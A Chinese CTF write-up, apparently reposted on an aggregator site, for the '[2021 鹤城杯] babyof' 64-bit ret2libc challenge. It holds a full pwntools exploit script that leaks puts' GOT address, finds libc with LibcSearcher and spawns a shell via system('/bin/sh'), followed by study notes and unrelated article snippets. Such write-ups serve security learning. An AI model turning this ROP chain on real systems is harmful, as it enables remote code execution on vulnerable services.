【PWN · ret2libc】[2021 鹤城杯]babyof

Linux_64的经典ret2libc题目,有必要好好整理总结一下其中的流程和注意点

目录

前言

一、题目重述

二、exp(思考与理解在注释)

三、经验总结

攻击步骤:

注意要点 

四、疑问 


前言

64位Linux和32位Linux确乎有着关于参数传递上的不同,然而无论哪种,关于ret2libc这一题型。如果仅仅是wiki上的三道题目,那还是远远不够的。故尝试通过本题,总结ret2libc的一般过程。

过程包括通过puts/write来泄露got表中的puts/write的真实地址->计算libc的基址->libc基址+任意库函数相对于libc的偏移量=任意函数真实地址->libc基址+libc中'/bin/sh'偏移量='/bin/sh'地址,如此构造system('/bin/sh')

一、题目重述

很明显存在栈溢出。而动态链接、不存在system、不存在'/bin/sh',说明是ret2libc无疑了。 


二、exp(思考与理解在注释)

from pwn import *                 #pwntools
from LibcSearcher import *        #定位libc函数以及特殊字符串;题目没给libc!!至少在nssctf目前还没授权,也没正确的libc附件,但是我们有强大的LibcSearcher库elf=ELF("./babyof")               #获取got/plt等程序信息
context(arch="amd64",log_level="debug",os="linux")pop_ret_rdi_addr=0x400743	        #64linux,用于参数填入函数
puts_plt_addr=0x400520            #用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr=0x40066b                #用于返回main函数,准备第二次栈溢出(?)
ret=0x400506                      #用于返回,否则出错(?)io=remote("node4.anna.nssctf.cn",28715)  #远程连接payload=b'a'*(0x40+8)             #溢出
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"])     #pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload+=p64(puts_plt_addr)       #puts的plt地址,用于(参数准备好后)调用call puts
payload+=p64(main_addr)           #因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出io.sendlineafter("overflow?\n",payload)  #在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
io.recvuntil('win\n')
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))  #直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
#一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================payload2=b'a'*(0x40+8)            #栈溢出
payload2+=p64(ret)                #就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函数的参数准备,即把'/bin/sh'(的地址)传入 
payload2+=p64(system_real_addr)   #调用system
payload2+=p64(main_addr)          #只是为了能够找到一个合法地址(?) io.sendlineafter("overflow?\n",payload2)         #栈溢出点发送payload
io.recv()                         #吸收一下发过来的数据,没必要
io.interactive()                  #开始交互,ls -> cat flag

关于plt/got和ret的获取方式,可以通过ROPgadget以及pwntools中ELF或者gdb调试获得。

当然IDA的反汇编也是非常重要的。


三、经验总结

攻击步骤:

1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址

2、获取libc的版本

3、根据偏移获取shell和sh的位置:

        a、求libc的基地址(函数动态地址-函数偏移量)

        b、求其他函数地址(基地址+函数偏移量)

4、执行程序获取shell

注意要点 

  • 64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的;32位Linux是用栈传递参数的
  • libc已知的情况,可以通过反编译libc获取地址,也可以用pwntools的ELF类来获取
  • libc未知的情况下,需要确定libc的版本号,在线查找libc database search (blukat.me) 
  • 可以使用LibSearcher库极大方便地确定libc、确定libc基址、确定函数真实地址
  • 64位下,参数可通过pop_reg+value的方式,把value传入reg以备作参数
  • obj = LibcSearcher("gets",gets_real_addr)
    libcbase = gets_real_addr – obj.dump("gets")
    system_addr = libcbase + obj.dump("system")            #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移

四、疑问 

  • exp下的程序执行流究竟是怎么样的?
  • payload1/2都在最后加了main_addr,第一个是为了重新栈溢出(吧?),第二个呢是为了程序能够正常退出吗?
  • 大佬们的wp,都自然而然加了ret——不加会出错,ret的作用是什么,从哪里返回到哪里?这应该还是与程序控制执行流的实际情况有关吧。求解答!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/254603.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Java程序设计入门教程-- if 条件语句

目录 单分支选择语句(if) 双分支选择语句(if…else) 嵌套if语句 单分支选择语句(if) 情形 当判断条件满足时,执行语句体S,而不满足则什么都不做。 格式 if (条件判断表…

改造万能五笔屏蔽广告

万能五笔安装后,在安装目录下,会有20几个之多的exe应用程序,这些程序其实和输入法关系不大,即使全部删除这些,输入法也可以照常使用,只是少了些配置和无用的工具。如果安排这个只是纯粹的输入法打字&#x…

Linux 上安装 PostgreSQL——Ubuntu

打开 PostgreSQL 官网 PostgreSQL: The worlds most advanced open source database,点击菜单栏上的 Download ,可以看到这里包含了很多平台的安装包,包括 Linux、Windows、Mac OS等 。 Linux 我们可以看到支持 Ubuntu 和 Red Hat 等各个平台…

nginx快速入门

一、什么是Nginx Nginx(engine x)是一个轻量级高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务,其特点是占有内存少,并发能力强,事实上Nginx的并发能力在同类型的网页服务器中表现较好&am…

破解mysql用户的密码

假如mysql数据库中有一个 prod_blb 用户,你作为root管理员,想知道它的密码,又不想修改它的密码。这个时候就只能通过获取到 prod_blb 用户加密的密码进程破译 1、MYSQL加密方式 MYSQL数据库的认证密码有两种方式,MYSQL 4.1版本之…

matebook14安装vmware导致多屏协同失败

原因是我的matebook安装了虚拟机vmware。导致我的手机多屏协同失败。 禁用之后就可以了

华为智慧屏的四大核心功能

AI慧眼:1080P通话、AI健身、AI Kids 华为智慧屏搭载自动升降微光摄像头"慧眼",支持1080P高清视频通话,支持大屏呼叫大屏、大屏呼叫手机、手机呼叫大屏. AI健身方面,华为智慧屏将化身你的客厅私教,与北京体育…

华为系统和计算机,电脑手机合二为一 华为多屏协同让电脑与手机亲密互动

随着社会的不断发展,上班族们的生活节奏也在不断加快,移动办公更是成为了人们生活中所不可缺少的一部分。无论是咖啡厅还是地铁站,我们总能看到上班族们忙碌的身影。 但对于广大上班族来说,移动办公其实是一件非常不方便的事情&am…

【Leetcode -746.使用最小花费爬楼梯 -747.至少是其他数字两倍的最大数】

Leetcode Leetcode -746.使用最小花费爬楼梯Leetcode -747.至少是其他数字两倍的最大数 Leetcode -746.使用最小花费爬楼梯 题目:给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择…

华为智慧屏V55升级鸿蒙2,华为智慧屏s55和v55对比参数_华为智慧屏s55和v55哪个好...

华为智慧屏s55和v55都是二款非常受欢迎的电视产品型号,很多人在选择这二款产品时非常的纠结,那么华为智慧屏s55和v55到底哪个好呢?一起来看看华为智慧屏s55和v55参数对比吧~ 一、华为智慧屏s55和v55对比参数 1、华为智慧屏s55参数 功能参数内…

华为智慧屏鸿蒙评测,华为智慧屏S Pro体验:告诉你鸿蒙OS有多优秀?

华为智慧屏S Pro体验:告诉你鸿蒙OS有多优秀? 2021年03月03日 21:24作者:网络编辑:王动 分享 从华为这些年的产品发展路线可以看得出,物联网产品体系组建是华为未来的重点方向。而“电视”是物联网体系中重要的一环&…

华为智慧屏鸿蒙应用,华为智慧屏S Pro体验:告诉你鸿蒙OS有多优秀

原标题:华为智慧屏S Pro体验:告诉你鸿蒙OS有多优秀 从华为这些年的产品发展路线可以看得出,物联网产品体系组建是华为未来的重点方向。而“电视”是物联网体系中重要的一环,担当着客厅应用环境中的C位。因此,华为把投入…

非华为电脑实现华为一碰传、多屏协同安装指南

华为一碰传、多屏协同安装指南 000 安装多屏协同的前提:WIN10系统蓝牙适配器WIFI接收器(支持5G才能成功、2.4G的不成功) 000 安装一碰传的前提:WIN10系统NFC标签贴纸(网络购买) 001华为一碰传、多屏协同…

没有鸿蒙HarmonyOS,用这个软件也可以实现华为的多屏协助互动!

前几天华为发布了HarmonyOS 2不少小伙伴都应该知道了吧,相信有不少华为手机的小伙伴也应该体验到了,特别是多屏互动这个功能简直牛批到爆炸,而今天小七带来的这款软件,让你即使不用华为手机,华为电脑,也可以…

电脑系统没有自带的字体-楷体GB2312字体 免费版提供下载

楷体GB2312字体是一款电脑系统没有自带的字体。楷体GB2312字体如果没有,则会导致电脑中的某些软件显示不正常或者某些文档的文字显示不正常,它因执行GB2312-1980标准而得名,收字是6763个,是国标体,华军软件园提供下载地…

CSS3引入外部字体(苹方字体下载链接)

pingfang链接 : https://pan.baidu.com/s/1vyxkN-Edg17gVPHlnFoqsA 提取码:zwk0 CSS3引入代码: 等待引入的文件 font-face {font-family: 苹方黑体-准-简;src: url(../fonts/苹方黑体-准-简.ttf); } *{font-family: 苹方黑体-准-简; }

Android 字体ttf文件下载(含github下载地址)

含以下字体: github下载地址:https://github.com/Ice-Times/Android-ttf-download csdn下载地址:https://download.csdn.net/download/Ice_Times/12556432

LVGL中文字体制作

1、准备工作 lvgl原生不支持中文显示,但是lvgl官方提供了生成中文字体的工具。使用起来比较方便。LVGL支持的编码是UTF-8,而我们常用中文字体是GB2312。这就需要转换,大致的原理是,将现有字体中我们需要用的中文文字,…

用High-Logic FontCreator改进系统字体

我的windows11系统自带的微软雅黑字体,中文双引号是直引号而不是弯引号,而且缺少一些字,例如下面这个: 所以免不得要对这个字体进行一下改造。话说windows系统自带了一个“专用字符编辑程序”,但是这个程序实在要有很…

自动化测试经典面试题-定位不到元素

元素定位常见的面试相关问题 一、元素定位1、Selenium/Appium定位方法有几种?分别是?2、如何通过子元素定位父元素 二、元素定位不到1、定位不到元素是什么原因导致的?2、如何定位动态元素3、有的元素就加载页面上,但是你却定位不…